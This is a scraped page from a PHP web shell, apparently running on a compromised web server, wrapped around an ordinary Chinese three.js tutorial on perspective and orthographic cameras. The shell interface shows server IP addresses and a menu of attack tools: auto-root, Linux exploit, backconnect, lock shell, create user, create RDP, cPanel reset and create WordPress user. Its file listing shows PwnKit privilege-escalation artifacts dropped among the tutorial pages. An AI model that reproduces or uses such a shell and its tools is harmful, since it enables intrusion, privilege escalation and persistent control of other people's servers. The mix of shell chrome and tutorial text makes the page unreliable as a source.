Linux dpw.dpwebtech.com 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
Apache
: 192.232.243.69 | : 18.226.133.181
54 Domain
7.3.33
dpclient
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
dpclient /
public_html /
HRD-Test /
manual /
zh /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
align-html-elements-to-3d.html
32.22
KB
-rw-r--r--
backgrounds.html
14.45
KB
-rw-r--r--
billboards.html
15.58
KB
-rw-r--r--
cameras.html
27.22
KB
-rw-r--r--
canvas-textures.html
18.39
KB
-rw-r--r--
cleanup.html
17.36
KB
-rw-r--r--
custom-buffergeometry.html
23.18
KB
-rw-r--r--
debugging-glsl.html
6.52
KB
-rw-r--r--
debugging-javascript.html
29.66
KB
-rw-r--r--
fog.html
13.8
KB
-rw-r--r--
fundamentals.html
26.4
KB
-rw-r--r--
game.html
1.63
KB
-rw-r--r--
indexed-textures.html
29.6
KB
-rw-r--r--
lang.css
128
B
-rw-r--r--
lights.html
31.49
KB
-rw-r--r--
load-gltf.html
32.08
KB
-rw-r--r--
load-obj.html
32.14
KB
-rw-r--r--
material-table.html
1.87
KB
-rw-r--r--
materials.html
18.42
KB
-rw-r--r--
multiple-scenes.html
30.3
KB
-rw-r--r--
offscreencanvas.html
42.7
KB
-rw-r--r--
optimize-lots-of-objects-anima...
21.74
KB
-rw-r--r--
optimize-lots-of-objects.html
23.04
KB
-rw-r--r--
picking.html
20.44
KB
-rw-r--r--
post-processing-3dlut.html
1.67
KB
-rw-r--r--
post-processing.html
15.63
KB
-rw-r--r--
prerequisites.html
16.58
KB
-rw-r--r--
primitives.html
23.5
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
rendering-on-demand.html
11.88
KB
-rw-r--r--
rendertargets.html
7.87
KB
-rw-r--r--
responsive.html
15.17
KB
-rw-r--r--
scenegraph.html
29.01
KB
-rw-r--r--
setup.html
4.22
KB
-rw-r--r--
shadertoy.html
1.65
KB
-rw-r--r--
shadows.html
26.03
KB
-rw-r--r--
textures.html
31.67
KB
-rw-r--r--
tips.html
16.38
KB
-rw-r--r--
transparency.html
19.22
KB
-rw-r--r--
voxel-geometry.html
1.69
KB
-rw-r--r--
webxr-basics.html
1.6
KB
-rw-r--r--
webxr-look-to-select.html
1.66
KB
-rw-r--r--
webxr-point-to-select.html
1.68
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : cameras.html
<!DOCTYPE html><html lang="zh"><head> <meta charset="utf-8"> <title>摄像机</title> <meta name="viewport" content="width=device-width, user-scalable=no, minimum-scale=1.0, maximum-scale=1.0"> <meta name="twitter:card" content="summary_large_image"> <meta name="twitter:site" content="@threejs"> <meta name="twitter:title" content="Three.js – 摄像机"> <meta property="og:image" content="https://threejs.org/files/share.png"> <link rel="shortcut icon" href="../../files/favicon_white.ico" media="(prefers-color-scheme: dark)"> <link rel="shortcut icon" href="../../files/favicon.ico" media="(prefers-color-scheme: light)"> <link rel="stylesheet" href="../resources/lesson.css"> <link rel="stylesheet" href="../resources/lang.css"> <!-- Import maps polyfill --> <!-- Remove this when import maps will be widely supported --> <script async src="https://unpkg.com/es-module-shims@1.8.0/dist/es-module-shims.js"></script> <script type="importmap"> { "imports": { "three": "../../build/three.module.js" } } </script> <link rel="stylesheet" href="/manual/zh/lang.css"> </head> <body> <div class="container"> <div class="lesson-title"> <h1>摄像机</h1> </div> <div class="lesson"> <div class="lesson-main"> <p>本文是关于 three.js 系列文章的一部分。第一篇文章是 <a href="fundamentals.html">three.js 基础</a>。如果你还没看过而且对three.js 还不熟悉,那应该从那里开始,并且了解如何<a href="setup.html">设置开发环境</a>。上一篇文章介绍了 three.js 中的 <a href="textures.html">纹理</a>。</p> <p>我们开始谈谈three.js中的摄像机. 我们已经在<a href="fundamentals.html">第一篇文章</a> 中涉及到了摄像机的一些知识,这里我们要更深入一些. </p> <p>在three.js中最常用的摄像机并且之前我们一直用的摄像机是<code class="notranslate" translate="no">透视摄像机 PerspectiveCamera</code>,它可以提供一个近大远小的3D视觉效果. </p> <p><a href="/docs/#api/zh/cameras/PerspectiveCamera"><code class="notranslate" translate="no">PerspectiveCamera</code></a> 定义了一个 <em>视锥(frustum)</em>。<a href="https://en.wikipedia.org/wiki/Frustum"><em>frustum</em> 是一个切掉顶的三角锥或者说实心金字塔型</a>。 说到<em>实心体solid</em>,在这里通常是指一个立方体、一个圆锥、一个球、一个圆柱或锥台。</p> <div class="spread"> <div><div data-diagram="shapeCube"></div><div>立方体</div></div> <div><div data-diagram="shapeCone"></div><div>圆锥</div></div> <div><div data-diagram="shapeSphere"></div><div>球</div></div> <div><div data-diagram="shapeCylinder"></div><div>圆柱</div></div> <div><div data-diagram="shapeFrustum"></div><div>锥台</div></div> </div> <p>重新讲一遍这些东西是因为我好久没有在意过了。很多书或者文章提到<em>锥台</em>这个东西的时候我扫一眼就过去了。再了解一下不同几何体会让下面的一些表述变得更为感性...吧😅</p> <p><a href="/docs/#api/zh/cameras/PerspectiveCamera"><code class="notranslate" translate="no">PerspectiveCamera</code></a>通过四个属性来定义一个视锥。<code class="notranslate" translate="no">near</code>定义了视锥的前端,<code class="notranslate" translate="no">far</code>定义了后端,<code class="notranslate" translate="no">fov</code>是视野,通过计算正确的高度来从摄像机的位置获得指定的以<code class="notranslate" translate="no">near</code>为单位的视野,定义的是视锥的前端和后端的高度。<code class="notranslate" translate="no">aspect</code>间接地定义了视锥前端和后端的宽度,实际上视锥的宽度是通过高度乘以 aspect 来得到的。</p> <p><img src="../resources/frustum-3d.svg" width="500" class="threejs_center"></p> <p>我们借用<a href="lights.html">上一篇文章</a>的场景. 其中包含一个地平面,一个球和一个立方体,我们可以在其中调整摄像机的设置。 我们通过<code class="notranslate" translate="no">MinMaxGUIHelper</code>来调整<code class="notranslate" translate="no">near</code>,<code class="notranslate" translate="no">far</code>的设置。显然<code class="notranslate" translate="no">near</code>应该总是比<code class="notranslate" translate="no">far</code>要小。lil-gui 有<code class="notranslate" translate="no">min</code>和<code class="notranslate" translate="no">max</code>两个属性可调,然后这两个属性将决定摄像机的设置。</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">class MinMaxGUIHelper { constructor(obj, minProp, maxProp, minDif) { this.obj = obj; this.minProp = minProp; this.maxProp = maxProp; this.minDif = minDif; } get min() { return this.obj[this.minProp]; } set min(v) { this.obj[this.minProp] = v; this.obj[this.maxProp] = Math.max(this.obj[this.maxProp], v + this.minDif); } get max() { return this.obj[this.maxProp]; } set max(v) { this.obj[this.maxProp] = v; this.min = this.min; // 这将调用min的setter } } </pre> <p>现在我们可以将GUI设置为:</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">function updateCamera() { camera.updateProjectionMatrix(); } const gui = new GUI(); gui.add(camera, 'fov', 1, 180).onChange(updateCamera); const minMaxGUIHelper = new MinMaxGUIHelper(camera, 'near', 'far', 0.1); gui.add(minMaxGUIHelper, 'min', 0.1, 50, 0.1).name('near').onChange(updateCamera); gui.add(minMaxGUIHelper, 'max', 0.1, 50, 0.1).name('far').onChange(updateCamera); </pre> <p>任何时候摄像机的设置变动,我们需要调用摄像机的<a href="/docs/#api/zh/cameras/PerspectiveCamera#updateProjectionMatrix"><code class="notranslate" translate="no">updateProjectionMatrix</code></a>来更新设置。我们写一个函数<code class="notranslate" translate="no">updataCamera</code>,当lil-gui改变了属性的时候会调用它来更新参数。</p> <p></p><div translate="no" class="threejs_example_container notranslate"> <div><iframe class="threejs_example notranslate" translate="no" style=" " src="/manual/examples/resources/editor.html?url=/manual/examples/cameras-perspective.html"></iframe></div> <a class="threejs_center" href="/manual/examples/cameras-perspective.html" target="_blank">点击此处在新标签页中打开</a> </div> <p></p> <p>现在可以调整这些数值来观察这些参数是如何影响摄像机的。注意我们并没有改变<code class="notranslate" translate="no">aspect</code>,因为这个参数来自于窗口的大小. 如果想调整<code class="notranslate" translate="no">aspect</code>,只需要开个新窗口然后调整窗口大小就可以了。</p> <p>即便是这样,观察参数对视野的影响还是挺麻烦的. 所以我们来设置两台摄像机吧! 一台是跟上面一样展现出摄像机中看到的实际场景,另一个则是用来观察这个实际工作的摄像机,然后画出摄像机的视锥. </p> <p>我们需要用到three.js的剪函数(scissor function)来画两个场景和两个摄像机. </p> <p>首先让我们用HTML和CSS来定义两个肩并肩的元素. 这也将帮助我们将两个摄像机赋予不同的<a href="/docs/#examples/controls/OrbitControls"><code class="notranslate" translate="no">OrbitControls</code></a>。</p> <pre class="prettyprint showlinemods notranslate lang-html" translate="no"><body> <canvas id="c"></canvas> + <div class="split"> + <div id="view1" tabindex="1"></div> + <div id="view2" tabindex="2"></div> + </div> </body> </pre> <p>CSS将控制两个视窗并排显示在 canvas 中:</p> <pre class="prettyprint showlinemods notranslate lang-css" translate="no">.split { position: absolute; left: 0; top: 0; width: 100%; height: 100%; display: flex; } .split>div { width: 100%; height: 100%; } </pre> <p>接下来将添加一个<a href="/docs/#api/zh/helpers/CameraHelper"><code class="notranslate" translate="no">CameraHelper</code></a>, 它可以把摄像机的视锥画出来:</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">const cameraHelper = new THREE.CameraHelper(camera); ... scene.add(cameraHelper); </pre> <p>我们现在需要查找到刚刚定义的两个元素:</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">const view1Elem = document.querySelector('#view1'); const view2Elem = document.querySelector('#view2'); </pre> <p>现在只给第一个视窗中的摄像机分配<a href="/docs/#examples/controls/OrbitControls"><code class="notranslate" translate="no">OrbitControls</code></a>:</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">-const controls = new OrbitControls(camera, canvas); +const controls = new OrbitControls(camera, view1Elem); </pre> <p>我们定义第二个<a href="/docs/#api/zh/cameras/PerspectiveCamera"><code class="notranslate" translate="no">PerspectiveCamera</code></a>和<a href="/docs/#examples/controls/OrbitControls"><code class="notranslate" translate="no">OrbitControls</code></a>:</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">const camera2 = new THREE.PerspectiveCamera( 60, // fov 2, // aspect 0.1, // near 500, // far ); camera2.position.set(40, 10, 30); camera2.lookAt(0, 5, 0); const controls2 = new OrbitControls(camera2, view2Elem); controls2.target.set(0, 5, 0); controls2.update(); </pre> <p>最后,我们需要使用剪刀功能从每个摄影机的视角渲染场景,以仅渲染画布的一部分。 这个函数接受一个元素,计算这个元素在canvas上的重叠面积,这将设置剪刀函数和视角长宽并返回 aspect :</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">function setScissorForElement(elem) { const canvasRect = canvas.getBoundingClientRect(); const elemRect = elem.getBoundingClientRect(); // 计算canvas的尺寸 const right = Math.min(elemRect.right, canvasRect.right) - canvasRect.left; const left = Math.max(0, elemRect.left - canvasRect.left); const bottom = Math.min(elemRect.bottom, canvasRect.bottom) - canvasRect.top; const top = Math.max(0, elemRect.top - canvasRect.top); const width = Math.min(canvasRect.width, right - left); const height = Math.min(canvasRect.height, bottom - top); // 设置剪函数以仅渲染一部分场景 const positiveYUpBottom = canvasRect.height - bottom; renderer.setScissor(left, positiveYUpBottom, width, height); renderer.setViewport(left, positiveYUpBottom, width, height); // 返回aspect return width / height; } </pre> <p>我们用这个函数在<code class="notranslate" translate="no">render</code>中绘制两遍场景</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no"> function render() { - if (resizeRendererToDisplaySize(renderer)) { - const canvas = renderer.domElement; - camera.aspect = canvas.clientWidth / canvas.clientHeight; - camera.updateProjectionMatrix(); - } + resizeRendererToDisplaySize(renderer); + + // 启用剪刀函数 + renderer.setScissorTest(true); + + // 渲染主视野 + { + const aspect = setScissorForElement(view1Elem); + + // 用计算出的aspect修改摄像机参数 + camera.aspect = aspect; + camera.updateProjectionMatrix(); + cameraHelper.update(); + + // 来原视野中不要绘制cameraHelper + cameraHelper.visible = false; + + scene.background.set(0x000000); + + // 渲染 + renderer.render(scene, camera); + } + + // 渲染第二台摄像机 + { + const aspect = setScissorForElement(view2Elem); + + // 调整aspect + camera2.aspect = aspect; + camera2.updateProjectionMatrix(); + + // 在第二台摄像机中绘制cameraHelper + cameraHelper.visible = true; + + scene.background.set(0x000040); + + renderer.render(scene, camera2); + } - renderer.render(scene, camera); requestAnimationFrame(render); } requestAnimationFrame(render); } </pre> <p>上面的代码还将主辅摄像机的背景色区分开以利观察。</p> <p>我们可以移除<code class="notranslate" translate="no">updateCamera</code>了,因为所有的东西在<code class="notranslate" translate="no">render</code>中更新过了。</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">-function updateCamera() { - camera.updateProjectionMatrix(); -} const gui = new GUI(); -gui.add(camera, 'fov', 1, 180).onChange(updateCamera); +gui.add(camera, 'fov', 1, 180); const minMaxGUIHelper = new MinMaxGUIHelper(camera, 'near', 'far', 0.1); -gui.add(minMaxGUIHelper, 'min', 0.1, 50, 0.1).name('near').onChange(updateCamera); -gui.add(minMaxGUIHelper, 'max', 0.1, 50, 0.1).name('far').onChange(updateCamera); +gui.add(minMaxGUIHelper, 'min', 0.1, 50, 0.1).name('near'); +gui.add(minMaxGUIHelper, 'max', 0.1, 50, 0.1).name('far'); </pre> <p>现在我们就可以在辅摄像机中观察到主摄像机的视锥轮廓了。</p> <p></p><div translate="no" class="threejs_example_container notranslate"> <div><iframe class="threejs_example notranslate" translate="no" style=" " src="/manual/examples/resources/editor.html?url=/manual/examples/cameras-perspective-2-scenes.html"></iframe></div> <a class="threejs_center" href="/manual/examples/cameras-perspective-2-scenes.html" target="_blank">点击此处在新标签页中打开</a> </div> <p></p> <p>左侧可以看到主摄像机的视角,右侧则是辅摄像机观察主摄像机和主摄像机的视锥轮廓。可以调整<code class="notranslate" translate="no">near</code>,<code class="notranslate" translate="no">far</code>,<code class="notranslate" translate="no">fov</code>和用鼠标移动摄像机来观察视锥轮廓和场景之间的关系. </p> <p>将<code class="notranslate" translate="no">near</code>调整到大概20左右,前景就会在视锥中消失。<code class="notranslate" translate="no">far</code>低于35时,远景也不复存在. </p> <p>这带来一个问题,为什么不把<code class="notranslate" translate="no">near</code>设置到0.0000000001然后将<code class="notranslate" translate="no">far</code>设置成100000000,使得一切都可以尽收眼底? 原因是你的GPU没有足够的精度来决定某个东西是另一个东西的前面还是后面。更糟的是,在默认情况下,离摄像机近的将会更清晰,离摄像机远的模糊,从<code class="notranslate" translate="no">near</code>到<code class="notranslate" translate="no">far</code>逐渐过渡。</p> <p>从上面的例子出发,我们向场景中添加20个球:</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">{ const sphereRadius = 3; const sphereWidthDivisions = 32; const sphereHeightDivisions = 16; const sphereGeo = new THREE.SphereBufferGeometry(sphereRadius, sphereWidthDivisions, sphereHeightDivisions); const numSpheres = 20; for (let i = 0; i < numSpheres; ++i) { const sphereMat = new THREE.MeshPhongMaterial(); sphereMat.color.setHSL(i * .73, 1, 0.5); const mesh = new THREE.Mesh(sphereGeo, sphereMat); mesh.position.set(-sphereRadius - 1, sphereRadius + 2, i * sphereRadius * -2.2); scene.add(mesh); } } </pre> <p>把 <code class="notranslate" translate="no">near</code> 设置成0.00001</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">const fov = 45; const aspect = 2; // canvas 默认 -const near = 0.1; +const near = 0.00001; const far = 100; const camera = new THREE.PerspectiveCamera(fov, aspect, near, far); </pre> <p>调整一下GUI使得能设置到0.00001</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">-gui.add(minMaxGUIHelper, 'min', 0.1, 50, 0.1).name('near').onChange(updateCamera); +gui.add(minMaxGUIHelper, 'min', 0.00001, 50, 0.00001).name('near').onChange(updateCamera); </pre> <p>你觉得会发生什么?</p> <p></p><div translate="no" class="threejs_example_container notranslate"> <div><iframe class="threejs_example notranslate" translate="no" style=" " src="/manual/examples/resources/editor.html?url=/manual/examples/cameras-z-fighting.html"></iframe></div> <a class="threejs_center" href="/manual/examples/cameras-z-fighting.html" target="_blank">点击此处在新标签页中打开</a> </div> <p></p> <p>这就是一个典型的<em>z冲突</em>的例子。GPU没有足够的精度来决定哪个像素在前哪个在后。</p> <p>如果你的机器太好可能不会出现我说的情况,我把我看到的截图放在这:</p> <div class="threejs_center"><img src="../resources/images/z-fighting.png" style="width: 570px;"></div> <p>解决的方法之一是告诉three.js使用不同的方法计算像素的前后关系。我们可以在创建<a href="/docs/#api/zh/renderers/WebGLRenderer"><code class="notranslate" translate="no">WebGLRenderer</code></a>时开启<code class="notranslate" translate="no">logarithmicDepthBuffer</code>。</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">-const renderer = new THREE.WebGLRenderer({antialias: true, canvas}); +const renderer = new THREE.WebGLRenderer({ + antialias: true, + canvas, + logarithmicDepthBuffer: true, +}); </pre> <p>这看起来就行了</p> <p></p><div translate="no" class="threejs_example_container notranslate"> <div><iframe class="threejs_example notranslate" translate="no" style=" " src="/manual/examples/resources/editor.html?url=/manual/examples/cameras-logarithmic-depth-buffer.html"></iframe></div> <a class="threejs_center" href="/manual/examples/cameras-logarithmic-depth-buffer.html" target="_blank">点击此处在新标签页中打开</a> </div> <p></p> <p>如果上面的方案不行的话,那你就遇到了<em>为什么不能无脑使用这种解决方案</em>的情况了。截止2018年9月,绝大多数台式机可以,但几乎没有移动设备支持这个功能。</p> <p>另外,最好别用这种解决方案,因为这会大大降低运行速度。</p> <p>即便是现在跑得好好地,选择太小的<code class="notranslate" translate="no">near</code>和太大的<code class="notranslate" translate="no">far</code>最终也会遇到同样的问题。</p> <p>所以说你需要选择好好抉择<code class="notranslate" translate="no">near</code>和<code class="notranslate" translate="no">far</code>的设置,来和你的场景配合。既不丢失重要的近景,也不让远处的东西消失不见。如果你想渲染一个巨大的场景,不但能看清面前的人的眼睫毛又想看到50公里以外的玩意,你得自己想一个<em>厉害的</em>方案,这里就不涉及了。现在,好好地选个适合的参数就行。</p> <p>第二种常见的摄像机是<code class="notranslate" translate="no">正交摄像机 OrthographicCamera</code>,和指定一个视锥不同的是,它需要设置<code class="notranslate" translate="no">left</code>,<code class="notranslate" translate="no">right</code> <code class="notranslate" translate="no">top</code>,<code class="notranslate" translate="no">bottom</code>,<code class="notranslate" translate="no">near</code>,和<code class="notranslate" translate="no">far</code>指定一个长方体,使得视野是平行的而不是透视的。</p> <p>我们来把上面的例子改成<a href="/docs/#api/zh/cameras/OrthographicCamera"><code class="notranslate" translate="no">OrthographicCamera</code></a>, 首先来设置摄像机</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">const left = -1; const right = 1; const top = 1; const bottom = -1; const near = 5; const far = 50; const camera = new THREE.OrthographicCamera(left, right, top, bottom, near, far); camera.zoom = 0.2; </pre> <p>我们将<code class="notranslate" translate="no">left</code>和<code class="notranslate" translate="no">bottom</code>设置成 -1 <code class="notranslate" translate="no">right</code> 和 <code class="notranslate" translate="no">top</code>设成 1,这样就使盒子宽为两个单位,高两个单位。我们接下来通过调整<code class="notranslate" translate="no">left</code>和<code class="notranslate" translate="no">top</code>来选择其 aspect 。我们将用<code class="notranslate" translate="no">zoom</code>属性来调整相机到底展现多少的单位大小。</p> <p>给GUI添加<code class="notranslate" translate="no">zoom</code>设置:</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">const gui = new GUI(); +gui.add(camera, 'zoom', 0.01, 1, 0.01).listen(); </pre> <p><code class="notranslate" translate="no">listen</code>调用告诉lil-gui去监视属性的变化。写在这里是因为<a href="/docs/#examples/controls/OrbitControls"><code class="notranslate" translate="no">OrbitControls</code></a>同样可以控制缩放。在这个例子中,鼠标滚轮将会通过<a href="/docs/#examples/controls/OrbitControls"><code class="notranslate" translate="no">OrbitControls</code></a>控件来控制缩放。</p> <p>最后更改aspect然后更新摄像机:</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">{ const aspect = setScissorForElement(view1Elem); // 使用aspect更新摄像机 - camera.aspect = aspect; + camera.left = -aspect; + camera.right = aspect; camera.updateProjectionMatrix(); cameraHelper.update(); // 在主摄像机中不绘制视野辅助线 cameraHelper.visible = false; scene.background.set(0x000000); renderer.render(scene, camera); } </pre> <p>现在就可以看到<a href="/docs/#api/zh/cameras/OrthographicCamera"><code class="notranslate" translate="no">OrthographicCamera</code></a>工作了。</p> <p></p><div translate="no" class="threejs_example_container notranslate"> <div><iframe class="threejs_example notranslate" translate="no" style=" " src="/manual/examples/resources/editor.html?url=/manual/examples/cameras-orthographic-2-scenes.html"></iframe></div> <a class="threejs_center" href="/manual/examples/cameras-orthographic-2-scenes.html" target="_blank">点击此处在新标签页中打开</a> </div> <p></p> <p>大多数情况下,绘制2D图像的时候会用到<a href="/docs/#api/zh/cameras/OrthographicCamera"><code class="notranslate" translate="no">OrthographicCamera</code></a>。你可以自己决定摄像机的视野大小。比如说你想让 canvas 的一个像素匹配摄像机的一个单位,你可以这么做:</p> <p>将原点置于中心,令一个像素等于一个单位</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">camera.left = -canvas.width / 2; camera.right = canvas.width / 2; camera.top = canvas.height / 2; camera.bottom = -canvas.height / 2; camera.near = -1; camera.far = 1; camera.zoom = 1; </pre> <p>或者如果我们想让原点在左上,就像是2D canvas</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">camera.left = 0; camera.right = canvas.width; camera.top = 0; camera.bottom = canvas.height; camera.near = -1; camera.far = 1; camera.zoom = 1; </pre> <p>这样左上角就成了0,0</p> <p>试试,这样设置摄像机</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">const left = 0; const right = 300; // 默认的canvas大小 const top = 0; const bottom = 150; // 默认的canvas大小 const near = -1; const far = 1; const camera = new THREE.OrthographicCamera(left, right, top, bottom, near, far); camera.zoom = 1; </pre> <p>然后我们载入六个材质,生成六个平面,一一对应。把每一个平面绑定到父对象<a href="/docs/#api/zh/core/Object3D"><code class="notranslate" translate="no">THREE.Object3D</code></a>上,以便调整每个平面和左上角原点的相对关系</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">const loader = new THREE.TextureLoader(); const textures = [ loader.load('resources/images/flower-1.jpg'), loader.load('resources/images/flower-2.jpg'), loader.load('resources/images/flower-3.jpg'), loader.load('resources/images/flower-4.jpg'), loader.load('resources/images/flower-5.jpg'), loader.load('resources/images/flower-6.jpg'), ]; const planeSize = 256; const planeGeo = new THREE.PlaneGeometry(planeSize, planeSize); const planes = textures.map((texture) => { const planePivot = new THREE.Object3D(); scene.add(planePivot); texture.magFilter = THREE.NearestFilter; const planeMat = new THREE.MeshBasicMaterial({ map: texture, side: THREE.DoubleSide, }); const mesh = new THREE.Mesh(planeGeo, planeMat); planePivot.add(mesh); // 调整平面使得左上角为原点 mesh.position.set(planeSize / 2, planeSize / 2, 0); return planePivot; }); </pre> <p>然后当 canvas 更新后我们更新摄像机设置</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">function render() { if (resizeRendererToDisplaySize(renderer)) { camera.right = canvas.width; camera.bottom = canvas.height; camera.updateProjectionMatrix(); } ... </pre> <p><code class="notranslate" translate="no">planes</code>是<a href="/docs/#api/zh/objects/Mesh"><code class="notranslate" translate="no">THREE.Mesh</code></a>的数组,每一个对应一个平面。 现在让它随着时间移动</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">function render(time) { time *= 0.001; // 转换为秒; ... const distAcross = Math.max(20, canvas.width - planeSize); const distDown = Math.max(20, canvas.height - planeSize); // 来回运动的总距离 const xRange = distAcross * 2; const yRange = distDown * 2; const speed = 180; planes.forEach((plane, ndx) => { // 为每个平面单独计算时间 const t = time * speed + ndx * 300; // 在0到最远距离之间获取一个值 const xt = t % xRange; const yt = t % yRange; // 0到距离的一半, 向前运动 // 另一半的时候往回运动 const x = xt < distAcross ? xt : xRange - xt; const y = yt < distDown ? yt : yRange - yt; plane.position.set(x, y, 0); }); renderer.render(scene, camera); </pre> <p>你可以看到图片在其中弹跳,和边际完美契合,就是2D canvas的效果一样</p> <p></p><div translate="no" class="threejs_example_container notranslate"> <div><iframe class="threejs_example notranslate" translate="no" style=" " src="/manual/examples/resources/editor.html?url=/manual/examples/cameras-orthographic-canvas-top-left-origin.html"></iframe></div> <a class="threejs_center" href="/manual/examples/cameras-orthographic-canvas-top-left-origin.html" target="_blank">点击此处在新标签页中打开</a> </div> <p></p> <p>另一个常见的用途是用<a href="/docs/#api/zh/cameras/OrthographicCamera"><code class="notranslate" translate="no">OrthographicCamera</code></a>来展示模型的三视图。</p> <div class="threejs_center"><img src="../resources/images/quad-viewport.png" style="width: 574px;"></div> <p>上面的截图展示了一个透视图和三个正交视角。</p> <p>这就是摄像机的基础. 我们在其他的文章中会介绍另外的一些摄像机用法。现在,我们移步到<a href="shadows.html">阴影</a>。</p> <p><canvas id="c"></canvas></p> <script type="module" src="../resources/threejs-cameras.js"></script> </div> </div> </div> <script src="../resources/prettify.js"></script> <script src="../resources/lesson.js"></script> </body></html>
Close